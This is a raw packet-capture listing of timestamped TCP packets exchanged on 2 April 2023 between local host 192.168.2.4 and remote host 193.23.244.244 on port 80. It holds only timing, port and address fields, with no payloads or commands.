Apr 2, 2023 09:49:22.751171112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751188993 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751200914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751229048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751238108 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751259089 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751287937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751297951 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751315117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751342058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751353979 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751369953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751398087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751415014 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751424074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751451969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751458883 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751481056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751509905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751538038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751549959 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751565933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751585007 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751594067 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751621008 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751627922 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751651049 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751679897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751708031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751727104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751734972 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751754999 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751761913 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751790047 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751812935 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751816988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751843929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751852989 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751873016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751899958 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751914024 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751928091 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751957893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.751971006 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.751986980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752013922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752028942 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752079964 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752126932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752130032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752193928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752234936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752235889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752270937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752311945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752340078 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752347946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752383947 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752399921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752433062 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752481937 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752486944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752527952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752574921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752597094 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752619982 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752652884 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752669096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752696991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752726078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752743959 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752753973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752782106 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752810001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752820969 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752836943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752850056 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752865076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752892971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752918959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752919912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752944946 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.752959013 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.752970934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753000975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753004074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753029108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753057957 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753062010 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753086090 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753112078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753133059 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753142118 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753170013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753196955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753205061 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753222942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753237009 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753247023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753272057 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753294945 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753298998 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753323078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753343105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753344059 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753362894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753381014 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753384113 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753402948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753422022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753431082 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753442049 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753457069 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753460884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753482103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753503084 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753516912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753523111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753551006 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753575087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753577948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753595114 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753599882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753619909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753626108 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753640890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753644943 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753660917 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753662109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753675938 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753695011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753705978 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753720999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753747940 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753752947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753770113 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753801107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753808022 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753842115 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753849983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753880024 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753889084 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753925085 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.753931046 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753971100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.753979921 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754023075 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754030943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754074097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754132986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754157066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754198074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754199028 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754239082 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754247904 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754286051 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754293919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754339933 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754350901 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754390955 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754391909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754429102 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754440069 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754479885 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754484892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754522085 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754529953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754566908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754568100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754595041 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754617929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754625082 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754636049 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754658937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754673004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754715919 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754720926 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754765034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754770041 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754805088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754816055 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754851103 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754872084 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754901886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754931927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754954100 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754961014 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754982948 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.754991055 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.754992008 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755016088 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755019903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755040884 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755050898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755052090 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755079985 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755105019 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755114079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755132914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755145073 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755163908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755170107 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755192995 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755198956 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755222082 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755227089 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755253077 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755256891 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755281925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755286932 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755312920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755315065 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755341053 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755345106 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755369902 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755374908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755398989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755409002 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755429983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755451918 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755461931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755494118 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755520105 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755538940 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755549908 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755563974 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755579948 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755595922 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755608082 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755613089 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755636930 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755646944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755666971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755676985 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755693913 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755705118 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755722046 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755727053 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755749941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755753040 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755776882 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755781889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755803108 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755809069 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755829096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755841017 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755856991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755865097 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755883932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755889893 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755911112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755916119 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755939007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755943060 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755969048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.755971909 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.755996943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756006002 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756026983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756032944 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756055117 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756061077 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756083012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756091118 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756110907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756119013 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756139994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756145954 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756167889 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756192923 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756192923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756202936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756221056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756239891 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756249905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756267071 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756275892 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756289005 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756304979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756309032 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756333113 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756344080 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756360054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756376982 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756387949 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756395102 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756417036 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756421089 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756443977 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756465912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756472111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756477118 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756504059 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756520987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756531000 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756544113 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756560087 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756572962 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756588936 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756597042 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756617069 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756624937 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756644011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756656885 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756670952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756685019 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756699085 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756709099 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756726027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756735086 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756753922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756768942 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756781101 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756799936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756805897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756822109 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756834030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756844044 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756859064 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756875038 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756886959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756897926 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756912947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756931067 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756939888 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756952047 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756967068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.756983995 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.756994009 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757011890 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757023096 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757038116 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757050991 CEST	80	49699	193.23.244.244	192.168.2.4
